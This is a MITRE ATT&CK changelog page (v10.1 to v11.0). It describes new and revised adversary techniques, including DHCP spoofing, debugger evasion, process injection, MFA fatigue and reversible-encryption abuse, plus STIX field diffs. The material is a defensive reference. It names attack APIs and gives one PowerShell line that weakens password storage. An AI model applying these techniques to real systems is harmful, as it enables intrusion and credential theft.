ATT&CK Changes Between v10.1 and v11.0
Key
- New objects: ATT&CK objects which are only present in the new release.
- Major version changes: ATT&CK objects that have a major version change. (e.g. 1.0 → 2.0)
- Minor version changes: ATT&CK objects that have a minor version change. (e.g. 1.0 → 1.1)
- Other version changes: ATT&CK objects that have a version change of any other kind. (e.g. 1.0 → 1.2)
- Patches: ATT&CK objects that have been patched while keeping the version the same. (e.g., 1.0 → 1.0 but something like a typo, a URL, or some metadata was fixed)
- Object revocations: ATT&CK objects which are revoked by a different object.
- Object deprecations: ATT&CK objects which are deprecated and no longer in use, and not replaced.
- Object deletions: ATT&CK objects which are no longer found in the STIX data.
| Colors for description field |
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| Added |
| Changed |
| Deleted |
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Additional formats
These ATT&CK Navigator layer files can be uploaded to ATT&CK Navigator manually.
This JSON file contains the machine readble output used to create this page: changelog.json
Techniques
enterprise-attack
New Techniques
[T1557.003] Adversary-in-the-Middle: DHCP Spoofing
Current version: 1.0
Description: Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).
DHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows:
1. The client broadcasts a `DISCOVER` message.
2. The server responds with an `OFFER` message, which includes an available network address.
3. The client broadcasts a `REQUEST` message, which includes the network address offered.
4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.
Adversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.
Rather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e. [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network’s DHCP allocation pool.
[T1622] Debugger Evasion
Current version: 1.0
Description: Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)
Debugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.
Specific checks will vary based on the target and/or adversary, but may involve [Native API](https://attack.mitre.org/techniques/T1106) function calls such as IsDebuggerPresent() and NtQueryInformationProcess(), or manually checking the BeingDebugged flag of the Process Environment Block (PEB). Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would “swallow” or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug)
Adversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://attack.mitre.org/techniques/T1106) function calls such as OutputDebugStringW().(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021)
[T1098.005] Account Manipulation: Device Registration
Current version: 1.0
Description: Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.
MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds)
Similarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537)
Devices registered in Azure AD may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Azure AD tenant by registering a large number of devices.(Citation: AADInternals - BPRT)
[T1574.013] Hijack Execution Flow: KernelCallbackTable
Current version: 1.0
Description: Adversaries may abuse the KernelCallbackTable of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The KernelCallbackTable can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once user32.dll is loaded.(Citation: Windows Process Injection KernelCallbackTable)
An adversary may hijack the execution flow of a process using the KernelCallbackTable by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.
A pointer to the memory address of the KernelCallbackTable can be obtained by locating the PEB (ex: via a call to the NtQueryInformationProcess() [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the KernelCallbackTable can be duplicated, and a function in the table (e.g., fnCOPYDATA) set to the address of a malicious payload (ex: via WriteProcessMemory()). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)
The tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the KernelCallbackTable may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the KernelCallbackTable to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.
[T1055.015] Process Injection: ListPlanting
Current version: 1.0
Description: Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.
List-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a SysListView32 control.
ListPlanting (a form of message-passing "shatter attack") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process’ memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.
Some variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020)
Finally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback.
[T1621] Multi-Factor Authentication Request Generation
Current version: 1.0
Description: Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.
Adversaries in possession credentials to [Valid Accounts](https://attack.mitre.org/techniques/T1078) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account.
In some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to “MFA fatigue.”(Citation: Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe)
[T1647] Plist File Modification
Current version: 1.0
Description: Adversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. macOS applications use plist files, such as the info.plist file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format.(Citation: fileinfo plist file description)
Adversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. [Hidden Window](https://attack.mitre.org/techniques/T1564/003)) or running additional commands for persistence (ex: [Launch Agent](https://attack.mitre.org/techniques/T1543/001)/[Launch Daemon](https://attack.mitre.org/techniques/T1543/004) or [Re-opened Applications](https://attack.mitre.org/techniques/T1547/007)).
For example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist` file, which controls apps that appear in the Dock. Adversaries can also modify the LSUIElement key in an application’s info.plist file to run the app in the background. Adversaries can also insert key-value pairs to insert environment variables, such as LSEnvironment, to enable persistence via [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006).(Citation: wardle chp2 persistence)(Citation: eset_osx_flashback)
[T1564.010] Hide Artifacts: Process Argument Spoofing
Current version: 1.0
Description: Adversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.(Citation: Microsoft PEB 2021)(Citation: Xpn Argue Like Cobalt 2019)
Adversaries may manipulate a process PEB to evade defenses. For example, [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the [Native API](https://attack.mitre.org/techniques/T1106) WriteProcessMemory() function) then resume process execution with malicious arguments.(Citation: Cobalt Strike Arguments 2019)(Citation: Xpn Argue Like Cobalt 2019)(Citation: Nviso Spoof Command Line 2020)
Adversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.(Citation: FireEye FiveHands April 2021)
This behavior may also be combined with other tricks (such as [Parent PID Spoofing](https://attack.mitre.org/techniques/T1134/004)) to manipulate or further evade process-based detections.
[T1556.005] Modify Authentication Process: Reversible Encryption
Current version: 1.0
Description: An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)
If the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:
1. Encrypted password (G$RADIUSCHAP) from the Active Directory user-structure userParameters
2. 16 byte randomly-generated value (G$RADIUSCHAPKEY) also from userParameters
3. Global LSA secret (G$MSRADIUSCHAPKEY)
4. Static key hardcoded in the Remote Access Subauthentication DLL (RASSFM.DLL)
With this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)
An adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to "Windows Server 2008" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true.
[T1505.005] Server Software Component: Terminal Services DLL
Current version: 1.0
Description: Adversaries may abuse components of Terminal Services to enable persistent access to systems. Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.(Citation: Microsoft Remote Desktop Services)
[Windows Service](https://attack.mitre.org/techniques/T1543/003)s that are run as a "generic" process (ex: svchost.exe) load the service's DLL file, the location of which is stored in a Registry entry named ServiceDll.(Citation: Microsoft System Services Fundamentals) The termsrv.dll file, typically stored in `%SystemRoot%\System32\`, is the default ServiceDll value for Terminal Services in `HKLM\System\CurrentControlSet\services\TermService\Parameters\`.
Adversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts.(Citation: James TermServ DLL) Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal termsrv.dll functionality) as well as to simply enable abusable features of Terminal Services. For example, an adversary may enable features such as concurrent [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) sessions by either patching the termsrv.dll file or modifying the ServiceDll value to point to a DLL that provides increased RDP functionality.(Citation: Windows OS Hub RDP)(Citation: RDPWrap Github) On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created.
[T1595.003] Active Scanning: Wordlist Scanning
Current version: 1.0
Description: Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques. While this technique employs similar methods to [Brute Force](https://attack.mitre.org/techniques/T1110), its goal is the identification of content and infrastructure rather than the discovery of valid credentials. Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software. Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591), or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).
For example, adversaries may use web content discovery tools such as Dirb, DirBuster, and GoBuster and generic or custom wordlists to enumerate a website’s pages and directories.(Citation: ClearSky Lebanese Cedar Jan 2021) This can help them to discover old, vulnerable pages or hidden administrative portals that could become the target of further operations (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [Brute Force](https://attack.mitre.org/techniques/T1110)).
As cloud storage solutions typically use globally unique names, adversaries may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute to enumerate public and private buckets on cloud infrastructure.(Citation: S3Recon GitHub)(Citation: GCPBucketBrute) Once storage objects are discovered, adversaries may leverage [Data from Cloud Storage Object](https://attack.mitre.org/techniques/T1530) to access valuable information that can be exfiltrated or used to escalate privileges and move laterally.
[T1559.003] Inter-Process Communication: XPC Services
Current version: 1.0
Description: Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service C API or the high level NSXPCConnection API in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev)
Adversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application's XPC Services handler.(Citation: CVMServer Vuln)(Citation: Learn XPC Exploitation) This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).
Major Version Changes
[T1098.003] Account Manipulation: Additional Cloud Roles
Current version: 2.0
Version changed from: 1.0 → 2.0
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|---|
| t | An adversary may add the Global Administrator role to an adv | t | An adversary may add additional roles or permissions to an a |
| ersary-controlled account to maintain persistent access to a | | dversary-controlled cloud account to maintain persistent acc |
| n Office 365 tenant.(Citation: Microsoft Support O365 Add An | | ess to a tenant. For example, they may update IAM policies i |
| other Admin, October 2019)(Citation: Microsoft O365 Admin Ro | | n cloud-based environments or add a new global administrator |
| les) With sufficient permissions, a compromised account can | | in Office 365 environments.(Citation: AWS IAM Policies and |
| gain almost unlimited access to data and settings (including | | Permissions)(Citation: Google Cloud IAM Policies)(Citation: |
| the ability to reset the passwords of other admins) via the | | Microsoft Support O365 Add Another Admin, October 2019)(Cita |
| global admin role.(Citation: Microsoft O365 Admin Roles) | | tion: Microsoft O365 Admin Roles) With sufficient permission |
| This account modification may immediately follow [Create Acc | | s, a compromised account can gain almost unlimited access to |
| ount](https://attack.mitre.org/techniques/T1136) or other ma | | data and settings (including the ability to reset the passw |
| licious account activity. | | ords of other admins).(Citation: Expel AWS Attacker) (Citati |
| | | on: Microsoft O365 Admin Roles) This account modification |
| | | may immediately follow [Create Account](https://attack.mitre |
| | | .org/techniques/T1136) or other malicious account activity. |
| | | Adversaries may also modify an existing [Valid Accounts](htt |
| | | ps://attack.mitre.org/techniques/T1078) that they have compr |
| | | omised. This could lead to privilege escalation, particularl |
| | | y if the roles added allow for lateral movement to additiona |
| | | l accounts. For example, in Azure AD environments, an advers |
| | | ary with the Application Administrator role can add [Additio |
| | | nal Cloud Credentials](https://attack.mitre.org/techniques/T |
| | | 1098/001) to their application's service principal. In doing |
| | | so the adversary would be able to gain the service principa |
| | | l’s roles and permissions, which may be different from those |
| | | of the Application Administrator.(Citation: SpecterOps Azur |
| | | e Privilege Escalation) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['Administrator'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-24 12:40:02.331000+00:00 | 2022-04-19 12:41:16.167000+00:00 |
| name | Add Office 365 Global Administrator Role | Additional Cloud Roles |
| description | An adversary may add the Global Administrator role to an adversary-controlled account to maintain persistent access to an Office 365 tenant.(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins) via the global admin role.(Citation: Microsoft O365 Admin Roles)
This account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. | An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, they may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)
(Citation: Microsoft O365 Admin Roles)
This account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify an existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts. For example, in Azure AD environments, an adversary with the Application Administrator role can add [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to their application's service principal. In doing so the adversary would be able to gain the service principal’s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) |
| external_references[1]['source_name'] | Microsoft Support O365 Add Another Admin, October 2019 | Expel AWS Attacker |
| external_references[1]['description'] | Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019. | Brian Bahtiarian, David Blanton, Britton Manahan and Kyle Pellett. (2022, April 5). Incident report: From CLI to console, chasing an attacker in AWS. Retrieved April 7, 2022. |
| external_references[1]['url'] | https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d | https://expel.com/blog/incident-report-from-cli-to-console-chasing-an-attacker-in-aws/ |
| x_mitre_detection | Collect usage logs from cloud administrator accounts to identify unusual activity in the assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. | Collect activity logs from IAM services and cloud administrator accounts to identify unusual activity in the assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. |
| x_mitre_version | 1.0 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'SpecterOps Azure Privilege Escalation', 'description': 'Andy Robbins. (2021, October 12). Azure Privilege Escalation via Service Principal Abuse. Retrieved April 1, 2022.', 'url': 'https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5'} |
| external_references | | {'source_name': 'AWS IAM Policies and Permissions', 'description': 'AWS. (n.d.). Policies and permissions in IAM. Retrieved April 1, 2022.', 'url': 'https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html '} |
| external_references | | {'source_name': 'Google Cloud IAM Policies', 'description': 'Google Cloud. (2022, March 31). Understanding policies. Retrieved April 1, 2022.', 'url': 'https://cloud.google.com/iam/docs/policies'} |
| external_references | | {'source_name': 'Microsoft Support O365 Add Another Admin, October 2019', 'description': 'Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.', 'url': 'https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d'} |
| x_mitre_contributors | | Alex Parsons, Crowdstrike |
| x_mitre_contributors | | Chris Romano, Crowdstrike |
| x_mitre_contributors | | Wojciech Lesicki |
| x_mitre_contributors | | Pià Consigny, Tenable |
| x_mitre_contributors | | Clément Notin, Tenable |
| x_mitre_platforms | | IaaS |
| x_mitre_platforms | | SaaS |
| x_mitre_platforms | | Google Workspace |
| x_mitre_platforms | | Azure AD |
[T1098.002] Account Manipulation: Additional Email Delegate Permissions
Current version: 2.0
Version changed from: 1.1 → 2.0
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|---|
| t | Adversaries may grant additional permission levels, such as | t | Adversaries may grant additional permission levels to mainta |
| ReadPermission or FullAccess, to maintain persistent access | | in persistent access to an adversary-controlled email accoun |
| to an adversary-controlled email account. The <code>Add-Mail | | t. For example, the <code>Add-MailboxPermission</code> [Po |
| boxPermission</code> [PowerShell](https://attack.mitre.org/t | | werShell](https://attack.mitre.org/techniques/T1059/001) cmd |
| echniques/T1059/001) cmdlet, available in on-premises Exchan | | let, available in on-premises Exchange and in the cloud-base |
| ge and in the cloud-based service Office 365, adds permissio | | d service Office 365, adds permissions to a mailbox.(Citatio |
| ns to a mailbox.(Citation: Microsoft - Add-MailboxPermission | | n: Microsoft - Add-MailboxPermission)(Citation: FireEye APT3 |
| )(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding | | 5 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) In |
| in Plain Sight 2018) Adversaries may also assign mailbox f | | Google Workspace, delegation can be enabled via the Google |
| older permissions through individual folder permissions or r | | Admin console and users can delegate accounts via their Gmai |
| oles. Adversaries may assign the Default or Anonymous user p | | l settings.(Citation: Gmail Delegation)(Citation: Google Ens |
| ermissions or roles to the Top of Information Store (root), | | uring Your Information is Safe) Adversaries may also assig |
| Inbox, or other mailbox folders. By assigning one or both us | | n mailbox folder permissions through individual folder permi |
| er permissions to a folder, the adversary can utilize any ot | | ssions or roles. In Office 365 environments, adversaries may |
| her account in the tenant to maintain persistence to the tar | | assign the Default or Anonymous user permissions or roles t |
| get user’s mail folders.(Citation: Remediation and Hardening | | o the Top of Information Store (root), Inbox, or other mailb |
| Strategies for Microsoft 365 to Defend Against UNC2452) Th | | ox folders. By assigning one or both user permissions to a f |
| is may be used in persistent threat incidents as well as BEC | | older, the adversary can utilize any other account in the te |
| (Business Email Compromise) incidents where an adversary ca | | nant to maintain persistence to the target user’s mail folde |
| n assign more access rights to the accounts they wish to com | | rs.(Citation: Remediation and Hardening Strategies for Micro |
| promise. This may further enable use of additional technique | | soft 365 to Defend Against UNC2452) This may be used in per |
| s for gaining access to systems. For example, compromised bu | | sistent threat incidents as well as BEC (Business Email Comp |
| siness accounts are often used to send messages to other acc | | romise) incidents where an adversary can add [Additional Clo |
| ounts in the network of the target business while creating i | | ud Roles](https://attack.mitre.org/techniques/T1098/003) to |
| nbox rules (ex: [Internal Spearphishing](https://attack.mitr | | the accounts they wish to compromise. This may further enabl |
| e.org/techniques/T1534)), so the messages evade spam/phishin | | e use of additional techniques for gaining access to systems |
| g detection mechanisms.(Citation: Bienstock, D. - Defending | | . For example, compromised business accounts are often used |
| O365 - 2019) | | to send messages to other accounts in the network of the tar |
| | | get business while creating inbox rules (ex: [Internal Spear |
| | | phishing](https://attack.mitre.org/techniques/T1534)), so th |
| | | e messages evade spam/phishing detection mechanisms.(Citatio |
| | | n: Bienstock, D. - Defending O365 - 2019) |
New Mitigations:
- M1042: Disable or Remove Feature or Program
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['Administrator'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-18 18:57:04.148000+00:00 | 2022-04-19 14:55:26.110000+00:00 |
| name | Exchange Email Delegate Permissions | Additional Email Delegate Permissions |
| description | Adversaries may grant additional permission levels, such as ReadPermission or FullAccess, to maintain persistent access to an adversary-controlled email account. The Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018)
Adversaries may also assign mailbox folder permissions through individual folder permissions or roles. Adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user’s mail folders.(Citation: Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452)
This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019) | Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account.
For example, the Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation: Google Ensuring Your Information is Safe)
Adversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user’s mail folders.(Citation: Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452)
This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019) |
| external_references[1]['source_name'] | Microsoft - Add-MailboxPermission | Bienstock, D. - Defending O365 - 2019 |
| external_references[1]['description'] | Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September 13, 2019. | Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved September 13, 2019. |
| external_references[1]['url'] | https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps | https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365 |
| external_references[2]['source_name'] | FireEye APT35 2018 | Crowdstrike Hiding in Plain Sight 2018 |
| external_references[2]['description'] | Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018. | Crowdstrike. (2018, July 18). Hiding in Plain Sight: Using the Office 365 Activities API to Investigate Business Email Compromises. Retrieved January 19, 2020. |
| external_references[2]['url'] | https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf | https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/ |
| external_references[3]['source_name'] | Crowdstrike Hiding in Plain Sight 2018 | Google Ensuring Your Information is Safe |
| external_references[3]['description'] | Crowdstrike. (2018, July 18). Hiding in Plain Sight: Using the Office 365 Activities API to Investigate Business Email Compromises. Retrieved January 19, 2020. | Google. (2011, June 1). Ensuring your information is safe online. Retrieved April 1, 2022. |
| external_references[3]['url'] | https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/ | https://googleblog.blogspot.com/2011/06/ensuring-your-information-is-safe.html |
| external_references[4]['source_name'] | Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452 | Gmail Delegation |
| external_references[4]['description'] | Mike Burns, Matthew McWhirt, Douglas Bienstock, Nick Bennett. (2021, January 19). Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. Retrieved September 25, 2021. | Google. (n.d.). Turn Gmail delegation on or off. Retrieved April 1, 2022. |
